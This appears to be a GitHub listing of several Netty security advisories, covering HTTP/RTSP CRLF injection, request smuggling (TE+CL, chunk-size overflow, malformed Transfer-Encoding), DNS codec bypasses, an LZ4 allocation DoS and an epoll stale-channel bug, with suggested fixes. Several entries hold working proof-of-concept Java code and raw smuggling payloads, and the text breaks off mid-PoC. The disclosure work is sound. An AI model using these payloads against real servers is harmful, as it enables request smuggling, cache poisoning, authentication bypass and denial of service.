5.3
CRLF Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

- io.netty.handler.codec.http.DefaultHttpRequest - The constructor calls HttpUtil.validateRequestLineTokens(method, uri) - setUri(String uri) only performs checkNotNull and does not validate - io.netty.handler.codec.http.DefaultFullHttpRequest - setUri(String uri) delegates to the parent implementation - io.netty.handler.codec.http.HttpRequestEncoder - Writes request.uri() directly into the request line - io.netty.handler.codec.rtsp.RtspEncoder - Writes request.uri() directly into the request line

This creates the following bypass:

1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI 2. Later, attacker-influenced input is passed into setUri() 3. HttpRequestEncoder or RtspEncoder encodes that value verbatim 4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP) The following code first creates a normal request object and then injects a malicious request line using setUri().

java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP11, HttpMethod.GET, "/safe");

request.setUri("/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1");

client.writeOutbound(request); ByteBuf outbound = client.readOutbound();

System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.USASCII));

System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retainedDuplicate());

Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); }

outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } }

When reproduced, the raw encoded request looks like this:

http GET /s1 HTTP/1.1

POST /s2 HTTP/1.1 content-length: 11

Hello WorldGET /s1 HTTP/1.1

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

- GET /s1 - POST /s2 with body Hello World - trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP) The same root cause also affects RtspEncoder. A minimal reproduction is shown below.

java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil;

public final class RtspSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());

DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP10, RtspMethods.OPTIONS, "rtsp://safe/media");

request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" + "OPTIONS rtsp://cam/final");

client.writeOutbound(request); ByteBuf outbound = client.readOutbound();

System.out.println("=== Raw encoded RTSP request ==="); System.out.println(outbound.toString(CharsetUtil.USASCII));

System.out.println("=== Decoded by RtspDecoder ==="); server.writeInbound(outbound.retainedDuplicate()); } }

When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:

text OPTIONS rtsp://cam/stream RTSP/1.0 CSeq: 1

DESCRIBE rtsp://cam/secret RTSP/1.0 CSeq: 2

OPTIONS rtsp://cam/final RTSP/1.0

RtspDecoder then parses this as three separate RTSP requests:

- OPTIONS rtsp://cam/stream - DESCRIBE rtsp://cam/secret - OPTIONS rtsp://cam/final

This confirms that the same setter bypass is exploitable for RTSP request injection as well.

Impact The vulnerable conditions are:

- The application uses DefaultHttpRequest or DefaultFullHttpRequest - The request object is created first and later modified through setUri() - The value passed into setUri() is attacker-controlled or attacker-influenced - The object is eventually serialized by HttpRequestEncoder or RtspEncoder

Under those conditions, an attacker may be able to:

- perform HTTP request smuggling - trigger proxy/backend desynchronization - inject additional requests toward internal APIs - confuse request boundaries and bypass assumptions around authentication or routing - inject RTSP requests

The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.

Root Cause Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.

As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.

Suggested Fix Direction DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.

Recommended regression coverage:

- verify that setUri() rejects CRLF-containing input after object construction - verify that DefaultFullHttpRequest.setUri() is blocked as well - verify that spaces, \r, \n, and request-smuggling payloads are rejected - verify that both HttpRequestEncoder and RtspEncoder are protected from setter-based bypasses

Affected Area - netty-codec-http - io.netty.handler.codec.http.DefaultHttpRequest - io.netty.handler.codec.http.DefaultFullHttpRequest - io.netty.handler.codec.http.HttpRequestEncoder - io.netty.handler.codec.rtsp.RtspEncoder

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Netty's epoll transport fails to detect and close TCP connections that receive a RST after being half-closed, leading to stale channels that are never cleaned up and, in some code paths, a 100% CPU busy-loop in the event loop thread.

Affected versions

All versions of 4.2.x netty-transport-native-epoll up to and including 4.2.12.Final

Fixed in

4.2.13.Final (fix merged into the 4.2 branch via #16689; release not yet cut as of 2026-04-25).

Severity

Medium — Denial of Service (resource exhaustion / CPU spin)

CWE: CWE-772: Missing Release of Resource after Effective Lifetime

Description

When a TCP connection using Netty's epoll transport has ALLOWHALFCLOSURE enabled (or is in a half-closed state via the HTTP codec), and the remote peer:

1. Sends a FIN (half-close), causing the server to mark the input as shutdown, then 2. Sends a RST (e.g. by closing with SOLINGER=0)

the server-side channel is never closed. This happens because:

- epollOutReady() is a no-op when there is no pending flush. - epollInReady() short-circuits via shouldBreakEpollInReady() because input is already marked as shutdown. - The EPOLLERR/EPOLLHUP error condition is therefore never processed, and channelInactive is never fired.

Depending on the Netty version and configuration, this results in:

- Stale channels: The connection is never closed or deregistered. An unauthenticated remote attacker can repeat the sequence to accumulate stale connections, exhausting file descriptors, memory, or connection-count limits. - CPU busy-loop: In code paths where clearEpollIn0() is not called during the ChannelInputShutdownReadComplete event, epollwait returns immediately on every iteration for the affected fd, causing 100% CPU utilization on the event loop thread and starving all other connections multiplexed on it.

Mitigation

- Upgrade to 4.2.13.Final when released (or build from the 4.2 branch at commit 0ec3d97). - If upgrading is not immediately possible, configure idle timeouts on connections to limit the lifetime of stale channels.

Resources

- Issue: https://github.com/netty/netty/issues/16683 - Fix: https://github.com/netty/netty/pull/16689

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)

1. Vulnerability Summary

| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-dns) | | Component | io.netty.handler.codec.dns.DnsCodecUtil | | Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption | | Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |

2. Affected Components

Both the encoder and decoder in the same file are affected:

- io.netty.handler.codec.dns.DnsCodecUtil — encodeDomainName() method (lines 31-51): - No null byte validation in domain name labels - No per-label length validation (RFC 1035 max: 63 bytes) - No total domain name length validation (RFC 1035 max: 255 bytes) - Empty labels silently truncate the domain name

- io.netty.handler.codec.dns.DnsCodecUtil — decodeDomainName() method (lines 53-118): - No per-label length validation (max 63) - No total domain name length validation (max 255) - Unbounded StringBuilder growth from attacker-controlled DNS responses

3. Vulnerability Description

Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.

3.1 Encoder Side — Null Byte Injection (CWE-626)

A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:

- Java (full string): sees "evil\0.example.com" as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only "evil" - DNS servers: may accept or reject based on implementation

This differential interpretation enables DNS cache poisoning and domain validation bypass.

3.2 Encoder Side — Overlength Label (RFC 1035 Violation)

Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:

- A 200-byte label length 0xC8 would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation

3.3 Encoder Side — Silent Truncation via Empty Labels

java encodeDomainName("a..b.com", buf); // Encodes as: [01] 'a' [00] // Only "a." is encoded, ".b.com" is silently dropped!

An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.

3.4 Decoder Side — Unbounded Memory Allocation

The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.

Root Cause — Encoder

java // DnsCodecUtil.java:31-51 static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { break; // NO ERROR - silently truncates! } // NO check: labelLen > 63 // NO check: label contains null bytes // NO check: total name > 255 bytes buf.writeByte(labelLen); // Can write values > 63! ByteBufUtil.writeAscii(buf, label); // Null bytes pass through! } buf.writeByte(0); }

Root Cause — Decoder

java // DnsCodecUtil.java:94-99 (decodeDomainName) } else if (len != 0) { if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63 throw new CorruptedFrameException("truncated label in a name"); } name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF8)).append('.'); // ^^^^^^ StringBuilder grows WITHOUT any length limit in.skipBytes(len); }

Missing checks in decoder: - No if (len > 63) check per RFC 1035 Section 2.3.4 - No if (name.length() > 255) check for total domain name length

4. Exploitability Prerequisites

Encoder Side (outbound) 1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names 2. The constructed DNS packets are sent to DNS servers or resolvers

Decoder Side (inbound) 1. An application uses Netty's codec-dns or resolver-dns module to process DNS responses 2. The application communicates with a malicious or compromised DNS server

Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.

5. Attack Scenarios

Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)

java String hostname = userInput; // "evil\0.trusted.com" DnsQuery query = new DefaultDnsQuery(...) .addRecord(DnsSection.QUESTION, new DefaultDnsQuestion(hostname, DnsRecordType.A));

The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.

Scenario 2: Label/Pointer Confusion (Encoder)

A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:

Byte: [C8] [61 61 61 ... (200 bytes)] ↑ Label interpretation: 200-byte label starting with 'a' Pointer interpretation: pointer to offset 0x0861 = 2145

Scenario 3: Memory Exhaustion via Large Labels (Decoder)

A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.

Scenario 4: Domain Truncation via Empty Label (Encoder)

java encodeDomainName("safe-domain..evil.com", buf); // Only "safe-domain." is encoded, "evil.com" silently dropped

This can bypass domain allowlists that check the input string.

Scenario 5: Downstream Processing Failures (Decoder)

Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.

6. Proof of Concept

PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)

java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets;

public class DnsEncoderNullBytePoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");

Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method encode = clazz.getDeclaredMethod("encodeDomainName", String.class, ByteBuf.class); encode.setAccessible(true);

// Test 1: Null byte in domain name ByteBuf buf = Unpooled.buffer(256); encode.invoke(null, "evil\0.example.com", buf); byte[] bytes = new byte[buf.readableBytes()]; buf.readBytes(bytes); buf.release(); System.out.print("[TEST 1] Null byte - Encoded: "); for (byte b : bytes) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");

// Test 2: 200-byte label ByteBuf buf2 = Unpooled.buffer(512); encode.invoke(null, "a".repeat(200) + ".com", buf2); System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes"); System.out.println("VULNERABLE: Overlength label accepted!"); buf2.release();

// Test 3: Empty label truncation ByteBuf buf3 = Unpooled.buffer(256); encode.invoke(null, "a..b.com", buf3); byte[] bytes3 = new byte[buf3.readableBytes()]; buf3.readBytes(bytes3); buf3.release(); System.out.print("\n[TEST 3] Empty label - Encoded: "); for (byte b : bytes3) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Domain silently truncated!"); } }

PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)

java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets;

public class DnsDecoderLengthPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");

Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class); decode.setAccessible(true);

// Test 1: 100-byte label (RFC limit: 63) ByteBuf buf1 = Unpooled.buffer(256); buf1.writeByte(100); buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.USASCII)); buf1.writeByte(3); buf1.writeBytes("com".getBytes(StandardCharsets.USASCII)); buf1.writeByte(0); String r1 = (String) decode.invoke(null, buf1); buf1.release(); System.out.println("[TEST 1] 100-byte label: length=" + r1.length() + " VULNERABLE=" + (r1.length() > 64));

// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255) ByteBuf buf2 = Unpooled.buffer(512); for (int i = 0; i < 5; i++) { buf2.writeByte(60); buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60) .getBytes(StandardCharsets.USASCII)); } buf2.writeByte(0); String r2 = (String) decode.invoke(null, buf2); buf2.release(); System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() + " VULNERABLE=" + (r2.length() > 255)); } }

How to Compile and Run

bash JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')

Encoder PoC javac -cp "$JARS" DnsEncoderNullBytePoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC

Decoder PoC javac -cp "$JARS" DnsDecoderLengthPoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

Encoder PoC: === Netty DNS Encoder Validation Bypass PoC ===

[TEST 1] Null byte in domain name Input: "evil\0.example.com" Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 Null byte in label data: true VULNERABLE: YES - Null byte accepted!

[TEST 2] Label > 63 bytes in encoder Input: "aaaaaa..." (200-char label) Encoded bytes: 206 VULNERABLE: YES - Overlength label accepted in encoder!

[TEST 3] Empty labels (consecutive dots) Input: "a..b.com" Encoded bytes: 01 61 00 Note: Empty label truncates the name (may lose data)

Decoder PoC: === Netty DNS Decoder Length Bypass PoC ===

[TEST 1] Label > 63 bytes (RFC 1035 violation) Label length: 100 bytes (RFC limit: 63) Decoded name length: 105 VULNERABLE: YES - Label > 63 bytes accepted!

[TEST 2] Domain > 255 bytes via multiple labels 5 labels x 60 bytes = 300+ bytes total RFC 1035 limit: 255 bytes Decoded name length: 305 VULNERABLE: YES - Domain > 255 bytes accepted!

7. Impact Analysis

| Impact Category | Description | |----------------|-------------| | Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations | | Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder | | DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet | | Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies | | Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding | | Silent Truncation | Empty labels silently drop the remainder of the domain name | | Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |

8. Remediation Recommendations

Fix for Encoder (encodeDomainName)

java static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } int totalLength = 0; final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { throw new IllegalArgumentException("DNS name contains empty label: " + name); } if (labelLen > 63) { throw new IllegalArgumentException( "DNS label length " + labelLen + " exceeds maximum of 63: " + name); } for (int i = 0; i < label.length(); i++) { if (label.charAt(i) == '\0') { throw new IllegalArgumentException( "DNS label contains null byte at index " + i); } } totalLength += 1 + labelLen; if (totalLength > 254) { throw new IllegalArgumentException( "DNS name exceeds maximum length of 255: " + name); } buf.writeByte(labelLen); ByteBufUtil.writeAscii(buf, label); } buf.writeByte(0); }

Fix for Decoder (decodeDomainName)

java // Add after "} else if (len != 0) {": if (len > 63) { throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63"); } // Add after "name.append(...)": if (name.length() > 255) { throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255"); }

9. Resources

- RFC 1035 Section 2.3.4: Size Limits - RFC 1035 Section 4.1.4: Message Compression - CWE-20: Improper Input Validation - CWE-400: Uncontrolled Resource Consumption - CWE-626: Null Byte Interaction Error

1 / 3
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

| Field | Value | |-----------|-------| | Library | io.netty:netty-codec-http | | Component | codec-http — HttpObjectDecoder | | Severity | HIGH | | Affects | HEAD, commit 4f3533ae confirmed |

---

Summary

HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.

---

Root Cause

java // HttpObjectDecoder.java:828-833 if (HttpUtil.isTransferEncodingChunked(message)) { this.chunked = true; if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP11) { handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only } return State.READCHUNKSIZE; }

// HttpObjectDecoder.java:870-873 protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) { message.headers().remove(HttpHeaderNames.CONTENTLENGTH); contentLength = Long.MINVALUE; }

The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP11. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.

---

Proof of Concept

POST /api HTTP/1.0\r\n Host: internal.example.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 0\r\n \r\n 5\r\n GPOST\r\n 0\r\n \r\n

Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.

---

Conditions Required

1. Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). 2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation). 3. No additional HTTP/1.0 stripping layer between attacker and Netty.

---

Impact

Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.

---

Confirmed PoC Test

Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.

java package io.netty.handler.codec.http;

import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.util.CharsetUtil; import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.;

public class NettySmugglingSec001Test {

// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict @Test public void http10contentLengthNotStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.USASCII));

HttpRequest req = ch.readInbound(); assertEquals(HttpVersion.HTTP10, req.protocolVersion()); // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request assertNotNull(req.headers().get(HttpHeaderNames.CONTENTLENGTH), "VULNERABLE: CL not stripped"); ch.finishAndReleaseAll(); }

// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict @Test public void http11contentLengthStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.1\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.USASCII));

HttpRequest req = ch.readInbound(); assertNull(req.headers().get(HttpHeaderNames.CONTENTLENGTH), "SAFE: CL correctly stripped"); ch.finishAndReleaseAll(); } }

---

Fix Guidance

Remove the message.protocolVersion() == HttpVersion.HTTP11 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.

Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.

PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB

java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1);

ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } });

ChannelFuture serverChannel = server.bind(0).sync();

Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGICNUMBER); buf.writeByte(BLOCKTYPECOMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0);

ctx.writeAndFlush(buf);

ctx.fireChannelActive(); } });

ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

assertTrue(latch.await(10, TimeUnit.SECONDS));

assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } }

Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks.

Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.

The size is accumulated as follows:

result = 16; result += digit;

The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.

PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.

java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));

// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.USASCII)); content.release(); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();

// Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }

Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.USASCII)));

// Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release();

// Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); }

Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

1 / 3
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Summary If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.

Details HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.

Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx

PoC

java @Test public void test() { EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

